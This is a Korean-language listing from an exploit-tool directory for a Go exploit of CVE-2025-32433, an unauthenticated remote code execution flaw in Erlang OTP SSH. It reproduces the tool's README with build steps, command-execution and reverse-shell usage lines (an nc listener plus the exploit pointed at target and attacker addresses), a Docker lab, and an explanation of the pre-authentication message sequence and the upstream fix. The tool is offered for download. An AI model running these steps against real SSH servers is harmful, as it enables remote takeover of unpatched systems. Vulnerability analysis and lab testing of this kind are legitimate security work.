Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32433-Remote-Shell — Go 기반 CVE-2025-32433 익스플로잇 | Kitploit
도구/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingRemote Access Tool
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Go 기반 CVE-2025-32433 익스플로잇

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
21년 전아직 검토되지 않음

CVE-2025-32433 원격 셸

CVE-2025-32433에 대한 Go 기반 익스플로잇으로 원격 bash 셸을 반환합니다.

ProDefense의 CVE-2025-32433 PoC에서 파생된 익스플로잇 이해를 크게 참고했습니다.

익스플로잇 실행

root@kitploit:~
make

exploit.exe는 크로스 컴파일 Makefile을 통해 Windows 머신에서도 사용할 수 있습니다.

그런 다음 익스플로잇 바이너리를 다음 2가지 방법 중 하나로 실행합니다:

명령

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

참고: 명령의 출력을 반환하지 않습니다.

리버스 셸

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

환경 설정

ProDefense의 Dockerfile을 사용하여 다음을 통해 환경을 설정할 수 있습니다:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

그런 다음 Running the Exploit 섹션에서처럼 익스플로잇을 실행할 수 있습니다. 예:

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1은 Docker 호스트의 기본 IP입니다.

익스플로잇 설명

TL;DR "문제는 SSH 프로토콜 메시지 처리의 결함으로 인해 발생하며, 공격자가 인증 전에 연결 프로토콜 메시지를 보낼 수 있게 됩니다."

일반적인 SSH 절차:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

익스플로잇 절차:

  1. 피해자에 대한 TCP 연결
  2. SSH 배너 교환
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (사전 인증)
  5. SSH_MSG_CHANNEL_REQUEST (사전 인증) --> 명령 페이로드를 포함합니다

익스플로잇에서 전체 USERAUTH 부분이 건너뛰어지는 점에 유의하세요.

메시지 요약

SSH 메시지와 관련된 RFC:

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

메시지 번호

SSH 전송 계층 프로토콜의 메시지 번호

SSH 연결 프로토콜의 메시지 번호

메시지 형식

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

기타 요구 사항

문자열 형식 (RFC 4251: The Secure Shell (SSH) Protocol Architecture에서)

문자열

패딩

패딩

수정 및 익스플로잇 이해

다음은 Erlang OTP Libraries에 ssh: early RCE fix 커밋에서 도입된 수정 사항입니다:

handle_msg

이 수정은 인자에 따라 다음을 포착하는 새로운 handle_msg 절을 도입합니다:

  • Msg: 이전 절에서 이미 일치하지 않은 모든 수신 SSH 메시지를 위한 catch-all 변수 (예: #ssh_msg_disconnect{})
  • #ssh{authenticated = false}: 연결이 아직 인증되지 않은 경우 일치하는 세션 상태

이 절은 authenticated = true인 세션은 포착하지 않습니다. authenticated = true는 서버가 #ssh_msg_userauth_success{}를 수신할 때 세션에 첨부됩니다:

인증 성공 시 #ssh_msg_userauth_success{}가 첨부되는 모습

이 값은 다음 인증 방법 중 하나의 성공 후에 전송됩니다:

#ssh_msg_userauth_success{}를 전송하는 인증 방법

도구 다운로드